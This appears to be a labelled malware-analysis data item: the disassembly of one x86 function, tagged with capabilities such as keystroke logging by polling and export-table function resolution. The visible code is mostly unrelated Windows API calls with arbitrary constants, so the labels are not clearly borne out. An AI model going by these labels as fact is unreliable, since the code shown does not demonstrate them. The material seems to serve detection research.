Function at 0x10001151
Capabilities:
Log keystrokes via polling
Manipulate console buffer
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0xd8
lea eax, [esp + 0xb8]
lea ecx, [esp + 0x98]
mov edx, esp
lea esi, [esp + 0xa0]
mov dword [edx], esi
mov dword [edx + 0x10], 0x803
mov dword [edx + 0xc], 0xef0
mov dword [edx + 8], 0x803
mov dword [edx + 4], 0x803
mov edx, dword [sym.imp.USER32.dll_SetRect]
mov dword [esp + 0x94], ecx
mov dword [esp + 0x90], eax
call edx
sub esp, 0x14
mov ecx, esp
lea edx, [esp + 0xc0]
mov dword [ecx], edx
mov dword [ecx + 8], 0x5e4
mov dword [ecx + 4], 0xb73
mov ecx, dword [sym.imp.USER32.dll_AdjustWindowRect]
mov dword [esp + 0x8c], eax
call ecx
sub esp, 0xc
mov ecx, esp
mov dword [ecx], 0xc16
mov ecx, dword [sym.imp.KERNEL32.dll_SetUserGeoID]
mov dword [esp + 0x88], eax
call ecx
sub esp, 4
mov ecx, esp
mov dword [ecx + 4], 0xccb
mov dword [ecx], 0x864
mov ecx, dword [sym.imp.KERNEL32.dll_SleepEx]
mov dword [esp + 0x84], eax
call ecx
sub esp, 8
mov ecx, esp
mov dword [ecx + 4], 0x69c
mov dword [ecx], 0x36b292
mov ecx, dword [sym.imp.GDI32.dll_SetBkMode]
mov dword [esp + 0x80], eax
call ecx
sub esp, 8
mov ecx, esp
mov dword [ecx + 4], 0x518857
mov dword [ecx], 0x518857
mov ecx, dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [esp + 0x7c], eax
call ecx
sub esp, 8
xor ecx, ecx
lea edx, [esp + 0xb0]
mov dword [esp + 0x78], eax
mov dword [esp + 0x74], edx
mov dword [esp + 0x70], ecx
jmp 0x10001360
xor eax, eax
mov ecx, 6
mov edx, dword [esp + 0x74]
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 6
mov dword [esp + 0x6c], eax
mov dword [esp + 0x68], ecx
call fcn.10186f90
mov eax, esp
lea ecx, [esp + 0xb0]
mov dword [eax], ecx
mov dword [eax + 4], 0x233
mov eax, dword [sym.imp.GDI32.dll_GetRasterizerCaps]
call eax
sub esp, 8
mov dword [esp + 0x64], eax
jmp 0x100014d9
mov eax, dword [esp + 0x60]
add eax, 1
cmp eax, 0xd4
mov dword [esp + 0x5c], eax
je 0x1000131b
jmp 0x100013ab
mov dword [esp + 0x9c], 0x1cd
mov eax, esp
lea ecx, [esp + 0x9c]
mov dword [eax + 0x10], ecx
mov ecx, dword [esp + 0x94]
mov edx, dword [ecx]
mov dword [eax + 0xc], edx
mov dword [eax + 8], 0xa65
mov dword [eax + 4], 0x58
mov dword [eax], 0x8e8434
mov eax, dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
call eax
sub esp, 0x14
mov dword [esp + 0x58], eax
jmp 0x100012bb
xor eax, eax
mov ecx, dword [sym.imp.ole32.dll_OleUninitialize]
mov dword [esp + 0x54], eax
call ecx
xor eax, eax
mov ecx, dword [esp + 0x50]
sub ecx, 0xc
mov dword [esp + 0x4c], eax
mov dword [esp + 0x48], ecx
je 0x1000126b
jmp 0x10001342
mov eax, dword [esp + 0x50]
sub eax, 0x5b
mov ecx, dword [esp + 0x4c]
mov dword [esp + 0x44], eax
mov dword [esp + 0x40], ecx
je 0x1000141e
jmp 0x10001483
mov eax, dword [esp + 0x70]
mov ecx, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x50], eax
call ecx
mov ecx, esp
mov dword [ecx + 4], 0xce3531
mov dword [ecx], 0xef7837
mov ecx, dword [sym.imp.GDI32.dll_InvertRgn]
mov dword [esp + 0x3c], eax
call ecx
sub esp, 8
mov ecx, esp
mov dword [ecx], 0x5443a3
mov ecx, dword [sym.imp.KERNEL32.dll_AddRefActCtx]
mov dword [esp + 0x38], eax
call ecx
sub esp, 4
xor eax, eax
mov dword [esp + 0x5c], eax
mov eax, dword [esp + 0x5c]
mov ecx, 0x88888889
mov dword [esp + 0x60], eax
mul ecx
shr edx, 3
imul eax, edx, 0xf
mov ecx, dword [esp + 0x60]
sub ecx, eax
mov eax, ecx
sub eax, 0xb
mov dword [esp + 0x34], ecx
mov dword [esp + 0x30], eax
je 0x100012d4
jmp 0x100013db
mov eax, dword [esp + 0x34]
sub eax, 1
mov dword [esp + 0x2c], eax
jne 0x100012bb
jmp 0x100013ee
mov eax, esp
mov dword [eax + 0xc], str.g_wT_oHP_eud
mov dword [eax + 8], 0xf47
mov dword [eax + 4], 0x8ba
mov dword [eax], 0xd2e058
mov eax, dword [sym.imp.GDI32.dll_DrawEscape]
call eax
sub esp, 0x10
mov dword [esp + 0x28], eax
jmp 0x100012d4
mov eax, dword [esp + 0x90]
mov ecx, dword [eax]
mov edx, esp
mov dword [edx + 4], ecx
mov dword [edx], 0xc02712
mov ecx, dword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
call ecx
sub esp, 8
mov ecx, esp
mov dword [ecx + 8], 0x37f
mov dword [ecx + 4], 0xa40
mov dword [ecx], 0x78e
mov ecx, dword [sym.imp.USER32.dll_OpenInputDesktop]
mov dword [esp + 0x24], eax
call ecx
sub esp, 0xc
mov ecx, esp
mov dword [ecx], 0x58
mov ecx, dword [sym.imp.USER32.dll_VkKeyScanW]
mov dword [esp + 0x20], eax
call ecx
sub esp, 4
mov word [esp + 0x1e], ax
jmp 0x1000126b
mov eax, dword [esp + 0x40]
mov dword [esp + 0xbc], 0xfc3
add eax, 1
mov ecx, esp
lea edx, [esp + 0xbc]
mov dword [ecx + 0x10], edx
mov dword [ecx + 0xc], edx
mov dword [ecx + 8], edx
mov dword [ecx + 4], 0xfc3
mov dword [ecx], 0x30cfe0
mov ecx, dword [sym.imp.KERNEL32.dll_GetTapePosition]
mov dword [esp + 0x18], eax
call ecx
sub esp, 0x14
mov ecx, dword [esp + 0x18]
cmp ecx, 0xa
mov dword [esp + 0x14], eax
mov dword [esp + 0x40], ecx
jne 0x10001483
mov eax, dword [esp + 0x50]
add eax, 1
cmp eax, 0x6c
mov dword [esp + 0x70], eax
jne 0x10001360
lea esp, [ebp - 4]
pop esi
pop ebp
ret